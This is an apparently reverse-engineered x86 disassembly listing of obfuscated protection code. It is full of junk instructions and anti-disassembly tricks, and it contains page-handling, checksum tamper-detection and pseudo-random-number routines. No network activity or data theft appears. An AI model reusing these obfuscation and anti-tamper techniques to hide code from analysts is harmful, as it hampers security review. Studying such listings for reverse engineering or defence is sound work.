		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BC6C0


loc_4BC6BD:				; CODE XREF: .text:004BC6DEj
		jmp	short near ptr loc_4BC6E0+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC6C0:				; CODE XREF: .text:004BC6BBj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BC6D3
; ---------------------------------------------------------------------------
		dw 0EBB8h
		db 0Fh
; ---------------------------------------------------------------------------


loc_4BC6C9:				; CODE XREF: .text:004BC6D5j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BC6D7
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC6D3:				; CODE XREF: .text:004BC6C4j
		xor	eax, eax
		jz	short loc_4BC6C9


loc_4BC6D7:				; CODE XREF: .text:004BC6D0j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BC6BD


loc_4BC6E0:				; CODE XREF: .text:loc_4BC6BDj
		jmp	near ptr 92B26446h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	edx, dword_4F4770
		mov	eax, [ebp+8]
		mov	[edx], eax
		pusha


loc_4BC6F5:				; CODE XREF: .text:004BC763j
		xor	eax, eax
		jnz	short loc_4BC6FB
		jmp	short loc_4BC710
; ---------------------------------------------------------------------------


loc_4BC6FB:				; CODE XREF: .text:004BC6F7j
		jmp	short loc_4BC730
; ---------------------------------------------------------------------------
		db 0C0h, 75h, 18h
		db 7Ah,	0Ch
; ---------------------------------------------------------------------------


loc_4BC702:				; CODE XREF: .text:loc_4BC710j
		jo	short loc_4BC712
		jmp	short near ptr loc_4BC712+1
; ---------------------------------------------------------------------------
		dw 72E8h
		dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------


loc_4BC710:				; CODE XREF: .text:004BC6F9j
		jz	short loc_4BC702


loc_4BC712:				; CODE XREF: .text:loc_4BC702j
					; .text:004BC704j
		jmp	short near ptr loc_4BC69A+1
; ---------------------------------------------------------------------------
		dd 0A0F07ADBh, 4D8B6133h, 0FFE18110h, 85000000h, 0F6850FC9h
		dd 70000001h, 0EB037C07h
; ---------------------------------------------------------------------------


loc_4BC730:				; CODE XREF: .text:loc_4BC6FBj
		add	eax, 0EBFB74E8h
		stc


loc_4BC736:				; CODE XREF: .text:loc_4BC91Cj
		mov	edx, dword_4F476C
		cmp	edx, dword_4ED840
		jle	loc_4BC921
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BC77F ; CODE	XREF: .text:loc_4BC77Fj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BC757:				; CODE XREF: .text:004BC778j
		jmp	short loc_4BC776
; ---------------------------------------------------------------------------


loc_4BC759:				; CODE XREF: .text:loc_4BC776j
		xor	ecx, ecx


loc_4BC75B:				; CODE XREF: .text:004BC76Aj
		jz	short $+2
		jmp	short loc_4BC76F
; ---------------------------------------------------------------------------


loc_4BC75F:				; CODE XREF: .text:004BC773j
		stc
		xor	ecx, 3
		jz	short loc_4BC6F5
		jmp	short loc_4BC76C
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BC768:				; CODE XREF: .text:loc_4BC76Cj
		jmp	short loc_4BC77A
; ---------------------------------------------------------------------------
		jz	short loc_4BC75B


loc_4BC76C:				; CODE XREF: .text:004BC765j
		jnb	short loc_4BC768
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BC76F:				; CODE XREF: .text:004BC75Dj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BC75F
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BC776:				; CODE XREF: .text:loc_4BC757j
		jmp	short loc_4BC759
; ---------------------------------------------------------------------------
		jmp	short loc_4BC757
; ---------------------------------------------------------------------------


loc_4BC77A:				; CODE XREF: .text:loc_4BC768j
		repne sbb al, 0DBh
		jmp	short loc_4BC782
; ---------------------------------------------------------------------------


loc_4BC77F:				; CODE XREF: .text:004BC752j
		jmp	short near ptr loc_4BC752+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BC782:				; CODE XREF: .text:004BC77Dj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	eax, dword_4F476C
		sub	eax, 1
		mov	dword_4F476C, eax
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BC7BC


loc_4BC7B9:				; CODE XREF: .text:004BC7DAj
		jmp	short near ptr loc_4BC7DC+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC7BC:				; CODE XREF: .text:004BC7B7j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BC7CF
; ---------------------------------------------------------------------------
		dw 0EBB8h
		db 0Fh
; ---------------------------------------------------------------------------


loc_4BC7C5:				; CODE XREF: .text:004BC7D1j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BC7D3
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC7CF:				; CODE XREF: .text:004BC7C0j
		xor	eax, eax
		jz	short loc_4BC7C5


loc_4BC7D3:				; CODE XREF: .text:004BC7CCj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BC7B9


loc_4BC7DC:				; CODE XREF: .text:loc_4BC7B9j
		jmp	near ptr 92B26542h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		push	1
		mov	ecx, dword_4F476C
		mov	edx, dword_4F4770
		mov	esi, [edx+ecx*4]
		shl	esi, 4
		mov	eax, dword_4F476C
		mov	ecx, dword_4F4770
		mov	edx, [ecx+eax*4]
		and	edx, 80000007h
		jns	short loc_4BC814
		dec	edx
		or	edx, 0FFFFFFF8h
		inc	edx


loc_4BC814:				; CODE XREF: .text:004BC80Dj
		xor	eax, eax
		mov	al, byte_4F1F78[edx]
		mov	ecx, dword_4F476C
		mov	edx, dword_4F4770
		mov	ecx, [edx+ecx*4]
		and	ecx, 80000007h
		jns	short loc_4BC838
		dec	ecx
		or	ecx, 0FFFFFFF8h
		inc	ecx


loc_4BC838:				; CODE XREF: .text:004BC831j
		xor	edx, edx
		mov	dl, byte_4F1F79[ecx]
		mov	edi, dword_4ED3A8[eax*4]
		xor	edi, dword_4ED3A8[edx*4]
		mov	eax, dword_4F476C
		mov	ecx, dword_4F4770
		mov	edx, [ecx+eax*4]
		and	edx, 80000007h
		jns	short loc_4BC869
		dec	edx
		or	edx, 0FFFFFFF8h	; CODE XREF: .text:004BC8D5j
		inc	edx


loc_4BC869:				; CODE XREF: .text:004BC862j
		xor	eax, eax
		mov	al, byte_4F1F7A[edx]
		xor	edi, dword_4ED3A8[eax*4]
		mov	ecx, dword_4F476C
		mov	edx, dword_4F4770
		mov	eax, [edx+ecx*4]
		cdq
		mov	ecx, 1Ch
		idiv	ecx
		mov	ecx, edx
		shr	edi, cl
		and	edi, 0Fh
		add	esi, edi
		mov	edx, dword_4F474C
		lea	eax, [edx+esi*4]
		push	eax
		mov	ecx, dword_4F476C
		mov	edx, dword_4F4770
		mov	eax, [edx+ecx*4]
		push	eax
		call	loc_4BC92A
		add	esp, 0Ch
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BC8F1 ; CODE	XREF: .text:loc_4BC8F1j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BC8C9:				; CODE XREF: .text:004BC8EAj
		jmp	short loc_4BC8E8
; ---------------------------------------------------------------------------


loc_4BC8CB:				; CODE XREF: .text:loc_4BC8E8j
		xor	ecx, ecx


loc_4BC8CD:				; CODE XREF: .text:004BC8DCj
		jz	short $+2
		jmp	short loc_4BC8E1
; ---------------------------------------------------------------------------


loc_4BC8D1:				; CODE XREF: .text:004BC8E5j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BC865+2
		jmp	short loc_4BC8DE
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BC8DA:				; CODE XREF: .text:loc_4BC8DEj
		jmp	short loc_4BC8EC
; ---------------------------------------------------------------------------
		jz	short loc_4BC8CD


loc_4BC8DE:				; CODE XREF: .text:004BC8D7j
		jnb	short loc_4BC8DA
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BC8E1:				; CODE XREF: .text:004BC8CFj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BC8D1
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BC8E8:				; CODE XREF: .text:loc_4BC8C9j
		jmp	short loc_4BC8CB
; ---------------------------------------------------------------------------
		jmp	short loc_4BC8C9
; ---------------------------------------------------------------------------


loc_4BC8EC:				; CODE XREF: .text:loc_4BC8DAj
		repne sbb al, 0DBh
		jmp	short loc_4BC8F4
; ---------------------------------------------------------------------------


loc_4BC8F1:				; CODE XREF: .text:004BC8C4j
		jmp	short near ptr loc_4BC8C4+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BC8F4:				; CODE XREF: .text:004BC8EFj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	ecx, dword_4F476C


loc_4BC904:				; CODE XREF: .text:loc_4BC97Bj
		mov	edx, dword_4F4770
		mov	dword ptr [edx+ecx*4], 0FFFFFFFFh
		jo	short loc_4BC91A
		jl	short loc_4BC918


loc_4BC915:				; CODE XREF: .text:loc_4BC918j
					; .text:loc_4BC91Aj
		jmp	short loc_4BC91C
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BC918:				; CODE XREF: .text:004BC913j
		jz	short loc_4BC915


loc_4BC91A:				; CODE XREF: .text:004BC911j
		jmp	short loc_4BC915
; ---------------------------------------------------------------------------


loc_4BC91C:				; CODE XREF: .text:loc_4BC915j
		jmp	loc_4BC736
; ---------------------------------------------------------------------------


loc_4BC921:				; CODE XREF: .text:004BC742j
		mov	al, 1


loc_4BC923:				; CODE XREF: .text:004BC3E2j
					; .text:004BC3F5j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4BC92A:				; CODE XREF: .text:loc_4BC5DDp
					; .text:004BC8B2p
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+8]
		shl	eax, 0Ch
		mov	ecx, dword_4F4754
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, dword_4F477C
		mov	[ebp-4], edx
		mov	eax, dword_4F477C
		add	eax, 1000h
		mov	[ebp-0Ch], eax
		pusha
		xor	eax, eax
		jnz	short loc_4BC964
		jmp	short loc_4BC979
; ---------------------------------------------------------------------------


loc_4BC964:				; CODE XREF: .text:004BC960j
		jmp	short loc_4BC999
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4BC96B:				; CODE XREF: .text:loc_4BC979j
		jo	short loc_4BC97B
		jmp	short near ptr loc_4BC97B+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh
		db 9
; ---------------------------------------------------------------------------


loc_4BC979:				; CODE XREF: .text:004BC962j
		jz	short loc_4BC96B


loc_4BC97B:				; CODE XREF: .text:loc_4BC96Bj
					; .text:004BC96Dj
		jmp	short loc_4BC904
; ---------------------------------------------------------------------------
		db 0DBh, 7Ah, 0F0h
		dd 8B6133A0h, 0E181104Dh, 0FFh,	2474C985h, 0A108558Bh
		dd 4F4774h
		db 8Bh
; ---------------------------------------------------------------------------


loc_4BC999:				; CODE XREF: .text:loc_4BC964j
		or	al, 90h
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_4BC9B4
		jo	short loc_4BC9AB
		jl	short loc_4BC9A9


loc_4BC9A6:				; CODE XREF: .text:loc_4BC9A9j
					; .text:loc_4BC9ABj
		jmp	short loc_4BC9AD
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BC9A9:				; CODE XREF: .text:004BC9A4j
		jz	short loc_4BC9A6


loc_4BC9AB:				; CODE XREF: .text:004BC9A2j
		jmp	short loc_4BC9A6
; ---------------------------------------------------------------------------


loc_4BC9AD:				; CODE XREF: .text:loc_4BC9A6j
		xor	al, al
		jmp	loc_4BDA6A
; ---------------------------------------------------------------------------


loc_4BC9B4:				; CODE XREF: .text:004BC9A0j
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BC9D7


loc_4BC9D4:				; CODE XREF: .text:004BC9F5j
		jmp	short near ptr loc_4BC9F7+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC9D7:				; CODE XREF: .text:004BC9D2j
					; .text:004BCA46j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BC9EA
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BC9E0:				; CODE XREF: .text:004BC9ECj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BC9EE
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC9EA:				; CODE XREF: .text:004BC9DBj
		xor	eax, eax
		jz	short loc_4BC9E0


loc_4BC9EE:				; CODE XREF: .text:004BC9E7j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BC9D4


loc_4BC9F7:				; CODE XREF: .text:loc_4BC9D4j
		jmp	near ptr 92B2675Dh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		jo	short loc_4BCA09
		jl	short loc_4BCA07


loc_4BCA04:				; CODE XREF: .text:loc_4BCA07j
					; .text:loc_4BCA09j
		jmp	short loc_4BCA0B
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BCA07:				; CODE XREF: .text:004BCA02j
		jz	short loc_4BCA04


loc_4BCA09:				; CODE XREF: .text:004BCA00j
		jmp	short loc_4BCA04
; ---------------------------------------------------------------------------


loc_4BCA0B:				; CODE XREF: .text:loc_4BCA04j
		mov	edx, [ebp+10h]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_4BCA76
		mov	eax, [ebp+8]
		mov	ecx, dword_4F4774
		mov	edx, [ecx+eax*4]
		and	edx, 1
		test	edx, edx
		jz	short loc_4BCA76
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BCA62 ; CODE	XREF: .text:loc_4BCA62j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BCA3A:				; CODE XREF: .text:004BCA5Bj
		jmp	short loc_4BCA59
; ---------------------------------------------------------------------------


loc_4BCA3C:				; CODE XREF: .text:loc_4BCA59j
		xor	ecx, ecx


loc_4BCA3E:				; CODE XREF: .text:004BCA4Dj
		jz	short $+2
		jmp	short loc_4BCA52
; ---------------------------------------------------------------------------


loc_4BCA42:				; CODE XREF: .text:004BCA56j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BC9D7+1
		jmp	short loc_4BCA4F
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BCA4B:				; CODE XREF: .text:loc_4BCA4Fj
		jmp	short loc_4BCA5D
; ---------------------------------------------------------------------------
		jz	short loc_4BCA3E


loc_4BCA4F:				; CODE XREF: .text:004BCA48j
		jnb	short loc_4BCA4B
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BCA52:				; CODE XREF: .text:004BCA40j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BCA42
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BCA59:				; CODE XREF: .text:loc_4BCA3Aj
		jmp	short loc_4BCA3C
; ---------------------------------------------------------------------------
		jmp	short loc_4BCA3A
; ---------------------------------------------------------------------------


loc_4BCA5D:				; CODE XREF: .text:loc_4BCA4Bj
		repne sbb al, 0DBh
		jmp	short loc_4BCA65
; ---------------------------------------------------------------------------


loc_4BCA62:				; CODE XREF: .text:004BCA35j
		jmp	short near ptr loc_4BCA35+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BCA65:				; CODE XREF: .text:004BCA60j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		xor	al, al
		jmp	loc_4BDA6A
; ---------------------------------------------------------------------------


loc_4BCA76:				; CODE XREF: .text:004BCA16j
					; .text:004BCA29j
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BCA99


loc_4BCA96:				; CODE XREF: .text:004BCAB7j
		jmp	short near ptr loc_4BCAB9+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BCA99:				; CODE XREF: .text:004BCA94j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BCAAC
; ---------------------------------------------------------------------------
		db 0B8h
		db 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BCAA2:				; CODE XREF: .text:004BCAAEj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BCAB0
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BCAAC:				; CODE XREF: .text:004BCA9Dj
		xor	eax, eax
		jz	short loc_4BCAA2


loc_4BCAB0:				; CODE XREF: .text:004BCAA9j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BCA96


loc_4BCAB9:				; CODE XREF: .text:loc_4BCA96j
		jmp	near ptr 92B2681Fh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		lea	eax, [ebp-18h]
		push	eax
		push	4
		push	1000h
		mov	ecx, [ebp-14h]
		push	ecx
		mov	edx, dword_4F4750
		mov	eax, [edx]
		push	eax
		call	dword_4ED110	; CODE XREF: .text:loc_4BCB55j
		test	eax, eax
		jnz	short loc_4BCB37
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BCB07


loc_4BCB04:				; CODE XREF: .text:004BCB25j
		jmp	short near ptr loc_4BCB27+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BCB07:				; CODE XREF: .text:004BCB02j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BCB1A
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BCB10:				; CODE XREF: .text:004BCB1Cj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BCB1E
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BCB1A:				; CODE XREF: .text:004BCB0Bj
		xor	eax, eax
		jz	short loc_4BCB10


loc_4BCB1E:				; CODE XREF: .text:004BCB17j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BCB04


loc_4BCB27:				; CODE XREF: .text:loc_4BCB04j
		jmp	near ptr 92B2688Dh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		xor	al, al		; CODE XREF: .text:004BCB9Fj
		jmp	loc_4BDA6A
; ---------------------------------------------------------------------------


loc_4BCB37:				; CODE XREF: .text:004BCAE2j
		pusha
		xor	eax, eax
		jnz	short loc_4BCB3E
		jmp	short loc_4BCB53
; ---------------------------------------------------------------------------


loc_4BCB3E:				; CODE XREF: .text:004BCB3Aj
		jmp	short loc_4BCB73
; ---------------------------------------------------------------------------
		dd 7A1875C0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_4BCB45:				; CODE XREF: .text:loc_4BCB53j
		jo	short loc_4BCB55
		jmp	short near ptr loc_4BCB55+1
; ---------------------------------------------------------------------------
		db 0E8h, 72h, 0Eh
		dd 15FFF179h
		db 0, 79h, 9
; ---------------------------------------------------------------------------


loc_4BCB53:				; CODE XREF: .text:004BCB3Cj
		jz	short loc_4BCB45


loc_4BCB55:				; CODE XREF: .text:loc_4BCB45j
					; .text:004BCB47j
		jmp	short near ptr loc_4BCADA+4
; ---------------------------------------------------------------------------
		db 0DBh
		dd 33A0F07Ah, 0F84D8D61h, 10006851h, 158B0000h,	4F477Ch
		dd 0EC458B52h
		db 50h,	8Bh, 0Dh
; ---------------------------------------------------------------------------


loc_4BCB73:				; CODE XREF: .text:loc_4BCB3Ej
		push	eax
		inc	edi
		dec	edi
		add	[ebx+15FF5211h], cl
		rcl	al, 1
		dec	esi
		add	[ebp+504B75C0h], al
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BCBBB ; CODE	XREF: .text:loc_4BCBBBj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl ; CODE XREF: .text:loc_4BCC08j


loc_4BCB93:				; CODE XREF: .text:004BCBB4j
		jmp	short loc_4BCBB2
; ---------------------------------------------------------------------------


loc_4BCB95:				; CODE XREF: .text:loc_4BCBB2j
		xor	ecx, ecx


loc_4BCB97:				; CODE XREF: .text:004BCBA6j
		jz	short $+2
		jmp	short loc_4BCBAB
; ---------------------------------------------------------------------------


loc_4BCB9B:				; CODE XREF: .text:004BCBAFj
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BCB30+1
		jmp	short loc_4BCBA8
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BCBA4:				; CODE XREF: .text:loc_4BCBA8j
		jmp	short loc_4BCBB6
; ---------------------------------------------------------------------------
		jz	short loc_4BCB97


loc_4BCBA8:				; CODE XREF: .text:004BCBA1j
		jnb	short loc_4BCBA4
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BCBAB:				; CODE XREF: .text:004BCB99j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BCB9B
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BCBB2:				; CODE XREF: .text:loc_4BCB93j
		jmp	short loc_4BCB95
; ---------------------------------------------------------------------------
		jmp	short loc_4BCB93
; ---------------------------------------------------------------------------


loc_4BCBB6:				; CODE XREF: .text:loc_4BCBA4j
		repne sbb al, 0DBh
		jmp	short loc_4BCBBE
; ---------------------------------------------------------------------------


loc_4BCBBB:				; CODE XREF: .text:004BCB8Ej
		jmp	short near ptr loc_4BCB8E+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BCBBE:				; CODE XREF: .text:004BCBB9j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		xor	al, al
		jmp	loc_4BDA6A
; ---------------------------------------------------------------------------
		jo	short loc_4BCBD8
		jl	short loc_4BCBD6


loc_4BCBD3:				; CODE XREF: .text:loc_4BCBD6j
					; .text:loc_4BCBD8j
		jmp	short loc_4BCBDA
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BCBD6:				; CODE XREF: .text:004BCBD1j
		jz	short loc_4BCBD3


loc_4BCBD8:				; CODE XREF: .text:004BCBCFj
		jmp	short loc_4BCBD3
; ---------------------------------------------------------------------------


loc_4BCBDA:				; CODE XREF: .text:loc_4BCBD3j
		mov	eax, [ebp+10h]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4BD4E3
		pusha
		xor	eax, eax
		jnz	short loc_4BCBF1
		jmp	short loc_4BCC06
; ---------------------------------------------------------------------------


loc_4BCBF1:				; CODE XREF: .text:004BCBEDj
		jmp	short locret_4BCC26
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4BCBF8:				; CODE XREF: .text:loc_4BCC06j
		jo	short loc_4BCC08
		jmp	short near ptr loc_4BCC08+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4BCC0F


loc_4BCC06:				; CODE XREF: .text:004BCBEFj
		jz	short loc_4BCBF8


loc_4BCC08:				; CODE XREF: .text:loc_4BCBF8j
					; .text:004BCBFAj
		jmp	short near ptr loc_4BCB90+1
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4BCC0F:				; CODE XREF: .text:004BCC04j
		popa
		mov	ecx, dword_4ED3B0 ; CODE XREF: .text:004BCC81j
		xor	ecx, dword_4ED3FC
		xor	ecx, dword_4ED3F0
		and	ecx, 8
; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------

locret_4BCC26:				; CODE XREF: .text:loc_4BCBF1j
		leave
		jz	short loc_4BCC66
		mov	edx, [ebp+8]
		mov	eax, dword_4F4774
		mov	ecx, [eax+edx*4]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_4BCC66
		push	0FFFFFFFFh
		push	1000h
		mov	edx, dword_4F477C
		push	edx
		call	sub_490FB0
		add	esp, 0Ch
		mov	ecx, [ebp+8]
		mov	edx, dword_4F4778
		cmp	eax, [edx+ecx*4]
		jz	short loc_4BCC66
		mov	byte_4F4781, 1


loc_4BCC66:				; CODE XREF: .text:004BCC27j
					; .text:004BCC39j ...
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BCC9D ; CODE	XREF: .text:loc_4BCC9Dj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BCC75:				; CODE XREF: .text:004BCC96j
		jmp	short loc_4BCC94
; ---------------------------------------------------------------------------


loc_4BCC77:				; CODE XREF: .text:loc_4BCC94j
		xor	ecx, ecx


loc_4BCC79:				; CODE XREF: .text:004BCC88j
		jz	short $+2
		jmp	short loc_4BCC8D
; ---------------------------------------------------------------------------


loc_4BCC7D:				; CODE XREF: .text:004BCC91j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BCC10+3
		jmp	short loc_4BCC8A
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BCC86:				; CODE XREF: .text:loc_4BCC8Aj
		jmp	short loc_4BCC98
; ---------------------------------------------------------------------------
		jz	short loc_4BCC79


loc_4BCC8A:				; CODE XREF: .text:004BCC83j
		jnb	short loc_4BCC86
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BCC8D:				; CODE XREF: .text:004BCC7Bj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BCC7D
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BCC94:				; CODE XREF: .text:loc_4BCC75j
		jmp	short loc_4BCC77
; ---------------------------------------------------------------------------
		jmp	short loc_4BCC75
; ---------------------------------------------------------------------------


loc_4BCC98:				; CODE XREF: .text:loc_4BCC86j
		repne sbb al, 0DBh
		jmp	short loc_4BCCA0
; ---------------------------------------------------------------------------


loc_4BCC9D:				; CODE XREF: .text:004BCC70j
		jmp	short near ptr loc_4BCC70+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BCCA0:				; CODE XREF: .text:004BCC9Bj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	dword ptr [ebp-64h], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-58h], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-54h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-60h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-5Ch], edx
		mov	ecx, [ebp-54h]
		imul	ecx, [ebp-5Ch]
		mov	edx, [ebp-58h]
		imul	edx, [ebp-5Ch]
		mov	eax, [ebp-54h]
		imul	eax, [ebp-60h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
